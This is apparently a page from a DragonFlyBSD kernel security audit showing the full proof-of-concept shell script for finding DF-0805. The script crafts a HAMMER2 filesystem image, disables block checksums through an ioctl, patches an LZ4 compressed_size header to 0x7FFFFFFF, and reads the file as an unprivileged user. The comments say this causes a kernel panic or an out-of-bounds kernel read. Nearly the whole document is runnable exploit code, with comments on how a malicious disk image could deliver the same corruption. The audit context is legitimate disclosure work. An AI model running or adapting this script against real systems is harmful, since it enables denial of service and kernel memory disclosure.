โฌข DragonFlyBSD Kernel Audit
DF-0805 / hammer2_trigger.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0805 โ€” in-kernel trigger via a crafted HAMMER2 image (v3: ioctl-bypass).
#
# This script (run as root on the guest) does:
#   1. Allocate a vnode-backed memory disk with vnconfig on a fresh image.
#   2. newfs_hammer2 on it.
#   3. Mount it, create a 64 KiB file with a unique incompressible signature.
#   4. Use the HAMMER2IOC_INODE_SET ioctl to disable the per-file check code
#      (check_algo = HAMMER2_CHECK_NONE). This is the critical step: by
#      default HAMMER2 verifies each block with XXHASH64 and rejects
#      corrupted blocks at hammer2_chain.c:1071 BEFORE the LZ4 path runs.
#      Disabling the check makes the LZ4 path reachable for our corrupted
#      data block. (A malicious downloaded image could equally ship with
#      HAMMER2_CHECK_NONE inodes or with validly-computed check codes for
#      malicious LZ4 payloads.)
#   5. Re-write the file so it gets stored with the new check_algo.
#   6. Unmount, detach.
#   7. Surgically overwrite the on-disk LZ4 compressed_size header with
#      0x7FFFFFFF (located via the unique literal signature in the LZ4
#      stream).
#   8. Re-attach, re-mount, chown the file so maxx can read it.
#   9. As maxx, cat the file. This issues read(2) on a HAMMER2 file whose
#      on-disk LZ4 block has a malicious compressed_size, hitting
#      hammer2_strategy.c:198-205.
#
# Expected on stock GENERIC (INVARIANTS ON):
#   KKASSERT at hammer2_strategy.c:199 fires -> kernel panic (DoS).
# Expected on noinv kernel:
#   silent OOB read past the chain dio buffer.
# Expected on a fixed kernel:
#   read(2) returns cleanly; no panic; corrupt data zeroed.

set -eu
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin

IMG=/tmp/df0805.h2
MNT=/tmp/df0805_mnt
FILE_IN_IMG=/lz4_target
VNDISK=vn3
SETCHECK=/root/setcheck

# 17-byte unique signature that survives LZ4 as the first literal run.
SIG="DF0805LIVEEXPLOIT"

echo "[trigger] cleaning up any previous run"
umount "$MNT" 2>/dev/null || true
vnconfig -u "$VNDISK" 2>/dev/null || true
rm -f "$IMG"
mkdir -p "$MNT"

echo "[trigger] creating 256 MB HAMMER2 image at $IMG"
dd if=/dev/zero of="$IMG" bs=1m count=256 status=none

echo "[trigger] newfs_hammer2"
newfs_hammer2 "$IMG" >/dev/null

echo "[trigger] attaching image as vnode disk $VNDISK"
vnconfig -c -s labels "$VNDISK" "$IMG"
DEV=/dev/"$VNDISK"s0
[ -c "$DEV" ] || DEV=/dev/"$VNDISK"
echo "[trigger] using device $DEV"

echo "[trigger] mounting"
mount_hammer2 "$DEV" "$MNT"
echo "[trigger] mounted: $(mount | grep "$MNT" | head -1)"

echo "[trigger] writing a unique-signature file (forces LZ4 path, not a hole)"
{
    printf "%s" "$SIG"
    yes B | head -c 65520
} > "$MNT$FILE_IN_IMG"
ls -l "$MNT$FILE_IN_IMG"

echo "[trigger] disabling the per-file check code via HAMMER2IOC_INODE_SET"
echo "[trigger]   (sets check_algo = HAMMER2_CHECK_NONE so the corrupted"
echo "[trigger]    block reaches the LZ4 path on next read)"
"$SETCHECK" "$MNT$FILE_IN_IMG" 0

echo "[trigger] re-writing the file so the data block is re-stored with"
echo "[trigger]   the new check_algo"
{
    printf "%s" "$SIG"
    yes B | head -c 65520
} > "$MNT$FILE_IN_IMG"

echo "[trigger] syncing and unmounting"
sync
umount "$MNT"
vnconfig -u "$VNDISK"

echo "[trigger] scanning image for the unique signature '$SIG'"
SIGOFFSET=$(grep -aob "$SIG" "$IMG" | head -1 | cut -d: -f1)
if [ -z "$SIGOFFSET" ]; then
    echo "[trigger] ERROR: signature not found in image"
    exit 2
fi
echo "[trigger] signature '$SIG' found at byte offset $SIGOFFSET"

# On-disk layout of an HAMMER2 LZ4 block (verified empirically):
#   [4-byte compressed_size LE int][token][optional literal-ext byte][literals]
# For our 17-byte literal run, LZ4 emits:
#   token 0xFF (literal=15 ext, match=15 ext), ext byte = 0x02 (=> 17 literals)
# Wait โ€” the on-disk dump showed:
#   [1e 01 00 00][ff][04][DF08...]
# i.e. token 0xFF at SIGOFFSET-2, ext byte 0x04 (= 4 more literals => 19
# total) at SIGOFFSET-1, signature starts at SIGOFFSET. So the 4-byte
# compressed_size field is at SIGOFFSET-6 .. SIGOFFSET-3.
FIELDSIZE_OFFSET=$((SIGOFFSET - 6))
if [ "$FIELDSIZE_OFFSET" -lt 0 ]; then
    echo "[trigger] computed size field offset is negative; bailing"
    exit 2
fi
echo "[trigger] reading current 4-byte size field at offset $FIELDSIZE_OFFSET"
dd if="$IMG" bs=1 skip="$FIELDSIZE_OFFSET" count=4 status=none |
    od -An -tx1 | head -1

echo "[trigger] overwriting field with 0x7FFFFFFF (LE: FF FF FF 7F)"
printf '\377\377\377\177' |
    dd of="$IMG" bs=1 seek="$FIELDSIZE_OFFSET" count=4 conv=notrunc status=none

echo "[trigger] re-attaching and re-mounting the corrupted image"
vnconfig -c -s labels "$VNDISK" "$IMG"
DEV=/dev/"$VNDISK"s0
[ -c "$DEV" ] || DEV=/dev/"$VNDISK"
mount_hammer2 "$DEV" "$MNT"

echo "[trigger] chowning the target file to maxx (uid 1001)"
chown 1001:1001 "$MNT$FILE_IN_IMG"
chmod 0644 "$MNT$FILE_IN_IMG"

echo "[trigger] syncing"
sync; sync; sync

echo "[trigger] reading the file as maxx (uid 1001) โ€” this triggers DF-0805"
echo "[trigger]   * stock GENERIC (INVARIANTS):  KKASSERT panic"
echo "[trigger]   * noinv kernel:                silent OOB read"
echo "[trigger]   * fixed kernel:                clean error / zeroed data"
su -m maxx -c "cat '$MNT$FILE_IN_IMG' | wc -c"
RC=$?
echo "[trigger] read returned rc=$RC"
echo "[trigger] if you see this line, the kernel did NOT panic."